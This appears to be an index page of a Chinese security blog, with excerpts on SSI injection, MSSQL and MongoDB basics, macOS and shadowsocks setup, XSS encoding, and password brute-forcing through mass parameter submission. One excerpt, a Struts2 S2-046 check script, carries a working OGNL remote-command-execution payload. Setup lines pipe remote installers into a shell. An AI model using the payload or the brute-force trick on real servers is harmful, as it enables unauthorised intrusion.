SSI 注入
0x00 SSI
SSI (Server Side Includes)是HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
more...SSI (Server Side Includes)是HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
more...CREATE DATABASE student;
CREATE TABLE info
(
id INT IDENTITY(1,1) PRIMARY KEY NOT NULL,
name VARCHAR(20) NOT NULL DEFAULT 'xiaoming',
sex INT NOT NULL DEFAULT 1,
age INT NOT NULL DEFAULT 0,
hight INT NOT NULL DEFAULT 0
)
INSERT INTO info(name,sex,age,hight) VALUES('xiaohong',0,23,165);
INSERT INTO info(name,sex,age,hight) VALUES('xiaogang',1,24,175);
INSERT INTO info(name,sex,age,hight) VALUES('xiaoliu',1,21,160);
INSERT INTO info(name,sex,age,hight) VALUES('xiaozhang',1,19,165);
INSERT INTO info(name,sex,age,hight) VALUES('xiaoli',1,23,170);
INSERT INTO info(name,sex,age,hight) VALUES('xiaohua',0,23,160);
INSERT INTO info(name,sex,age,hight) VALUES('xiaoming',1,21,165);
INSERT INTO info(name,sex,age,hight) VALUES('xiaowang',1,23,166);
INSERT INTO info(name,sex,age,hight) VALUES('xiaojuan',0,21,159);
--如果存在名为get_student_msg(相当于函数)的存储过程则删除
IF EXISTS (SELECT name FROM sysobjects WHERE name='get_student_msg' AND type='p')
DROP PROCEDURE get_student_msg
CREATE PROCEDURE get_student_msg --创建存储过程
@name VARCHAR(20) --声明全局变量
AS
BEGIN
SELECT * from info
WHERE name=@name
END
GO
--创建好存储过程后在其他地方直接使用函数并传参就行了
EXEC get_student_msg 'xiaoli'
-- 使用DECLARE声明局部变量,一般在函数和存储过程中使用
DECLARE @name VARCHAR(20)
DECLARE @sex INT
DECLARE @age INT
DECLARE @hight INT
DECLARE stu_cursor CURSOR FOR --定义游标,后面跟sql语句
SELECT name,sex,age,hight --使用游标的对象(根据需要写select语句)
FROM dbo.info
WHERE age IN (23,24)
OPEN stu_cursor --打开游标
--将游标向下移1行,并把下一行作为当前行(递归)
--游标刚打开时可以理解为指向第一行之前,所以这里就是把游标指向第一行
--然后获取游标指向行的数据
FETCH NEXT FROM stu_cursor INTO @name,@sex,@age,@hight
WHILE (@@FETCH_STATUS = 0) --判断是否成功获取数据
BEGIN
PRINT '名字: '+@name
PRINT '性别: '+STR(@sex)
PRINT '年龄: '+STR(@age)
PRINT '身高: '+STR(@hight)
PRINT ''
--游标指向下一行(第二行),然后取出这一行的数据
FETCH NEXT FROM stu_cursor INTO @name,@sex,@age,@hight
END
CLOSE stu_cursor --关闭游标
DEALLOCATE stu_cursor --删除游标
-- 创建数据库
CREATE DATABASE student;
-- 选择数据库
USE student;
-- 查看当前数据库
SELECT DB_NAME();
-- 查看当前数据库
SELECT DB_NAME();
-- 查看数据库版本
SELECT @@version;
-- 创建数据库表
CREATE TABLE info
(
id INT IDENTITY(1,1) PRIMARY KEY NOT NULL,
name VARCHAR(20) NOT NULL DEFAULT 'xiaoming',
sex INT NOT NULL DEFAULT 1
)
-- 查看表结构
EXEC sp_help 'info';
-- 更新表结构
ALTER TABLE info add age int; -- 添加一列
ALTER TABLE info DROP COLUMN age; -- 删除一列
-- 插入数据
INSERT INTO info(name,sex)
VALUES('xiaohong',0);
-- 查看数据
SELECT * FROM dbo.info;
-- 更新数据
UPDATE info
SET name='aaa',sex=1
WHERE id=1;
-- 删除数据
DELETE info
WHERE id=1;
-- 删除表
DROP TABLE info;
Mongo的授权采用了角色授权的方法,每个用户都有一组权限,Monog内建角色权限如下:
#创建管理员用户
> use admin
switched to db admin
> db.createUser({
... user:"root",
... pwd:"root123",
... roles:[{"role":"root","db":"admin"}]
... })
Successfully added user: {
"user" : "root",
"roles" : [
{
"role" : "root",
"db" : "admin"
}
]
}
> db.auth("root","root123")
1
#这个例子创建了一个名为 root 的用户管理员。创建完了这个用户之后,我们应该马上以该用户的身份登录:
#db.auth() 方法返回 1 表示登录成功。接下来我们为指定的数据库创建访问所需的账号。
#创建数据库用户
> use test
switched to db test
> db.createUser({
... user:"test",
... pwd:"test123",
... roles:[
... {"role":"readWrite","db":"test"},
... {"role":"dbOwner","db":"test"}]
... })
Successfully added user: {
"user" : "test",
"roles" : [
{
"role" : "readWrite",
"db" : "test"
},
{
"role" : "dbOwner",
"db" : "test"
}
]
}
> db.auth("test","test123")
1
> exit
bye
MongoDb版本:version v3.4.4
more...macOS Sierra 10.12.6
$ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
$ brew install wget
$ wget https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh -O - | sh
$ cat /etc/shells #查看当前有什么shell
$ which zsh #查看zsh路径
$ chsh -s /bin/zsh #切换shell为zsh
$ vim ~/.zshrc添加alias c='clear'
# 对于zsh用户换源
$ echo 'export HOMEBREW_BOTTLE_DOMAIN=https://mirrors.ustc.edu.cn/homebrew-bottles' >> ~/.zshrc
$ source ~/.zshrc
$ brew update
去http://pilotmoon.com/scrollreverser下载
more...
前段时间写的struts2 046检测脚本,代码如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# code by reber
import sys
import pycurl
import StringIO
def initCurl():
c = pycurl.Curl()
c.setopt(pycurl.FOLLOWLOCATION, 1) #允许跟踪来源
c.setopt(pycurl.MAXREDIRS, 5)
# c.setopt(pycurl.PROXY,'http://127.0.0.1:1080')
return c
def check(curl, url):
head = [
'Connection: close',
'Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150'
]
data = '''-----------------------------735323031399963166993862150\r\nContent-Disposition: form-data; name="foo"; filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo dd996b71024fa97cd015f06a7f24ed30').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\0b"\r\nContent-Type: text/plain\r\n\r\nx\r\n-----------------------------735323031399963166993862150--\r\n\r\n'''
buf = StringIO.StringIO()
curl.setopt(pycurl.WRITEFUNCTION, buf.write)
curl.setopt(pycurl.POSTFIELDS, data)
curl.setopt(pycurl.URL, url)
# curl.setopt(pycurl.TIMEOUT, 10)
curl.setopt(pycurl.HTTPHEADER, head)
curl.setopt(pycurl.SSL_VERIFYPEER, 0)
curl.setopt(pycurl.SSL_VERIFYHOST, 0)
curl.perform()
the_page = buf.getvalue()
buf.close()
if 'dd996b71024fa97cd015f06a7f24ed30' in the_page:
print "%s has st2-046 vulnerable." % url
def run(url):
c = initCurl()
check(c, url)
sys.exit(0)
if __name__ == '__main__':
if len(sys.argv) == 2:
url = sys.argv[1]
run(url)
else:
print ("usage: %s http://www.baidu.com/vuln.action whoami" % sys.argv[0])
sys.exit(-1)
浏览器收到服务器发来的HTML内容,会从头解析,遇到<script></script>时,
会调用js脚本解析器来解析并执行脚本,然后继续解析其他的HTML内容,
对于需要触发才能执行的事件,当事件触发时脚本解析器才会解析其中的脚本,
在这之前它是HTML的一部分
%+字符的ASCII编码对应的两位十六进制,如"/"的url编码为"%2F"
HTML编码
more...环境:Ubuntu 14.04.1 LTS
reber@localhost:~$ sudo apt-get update
reber@localhost:~$ python --version
Python 2.7.6
reber@localhost:~$ sudo apt-get install python-gevent python-pip
reber@localhost:~$ sudo pip install shadowsocks
reber@localhost:~$ vim /home/reber/shadowsocks.json
{
"server":"服务器 IP 地址", # 服务器 IP (IPv4/IPv6)
"server_port":8388, # 监听的服务器端口
"local_address": "127.0.0.1", # 本地监听的 IP 地址
"local_port":1080, # 本地端端口
"password":"mypassword", # 密码
#"port_password":
#{
# "40001": "password1",
# "40002": "password2",
# "40003": "password3"
#},
#"_comment":
#{
# "40001": "xiaoming",
# "40002": "lilei",
# "40003": "mike"
#}
"timeout":300, # 超时时间(秒)
"method":"aes-256-cfb", # 加密方式
# 若Linux内核在3.7+,可开启fast_open降低延迟
# 开启方法:echo 3 > /proc/sys/net/ipv4/tcp_fastopen
"fast_open": false,
"workers": 1 # works数量,默认为 1
}
reber@localhost:~$ sudo apt-get install python-m2crypto
# 前台运行
reber@localhost:~$ sudo ssserver -c /home/reber/shadowsocks.json
# 后台运行
reber@localhost:~$ sudo nohup ssserver -c /home/reber/shadowsocks.json > /dev/null 2>&1 &
# 关闭服务
reber@localhost:~$ sudo killall ssserver
添加如下配置
more...
之前在https://www.t00ls.net/viewthread.php?tid=36985看到这个思路的。
Apache下默认同时允许接收1000个参数;IIS下默认同时允许接收5883个参数,可以一次提交多个密码,从而快速爆破。
more...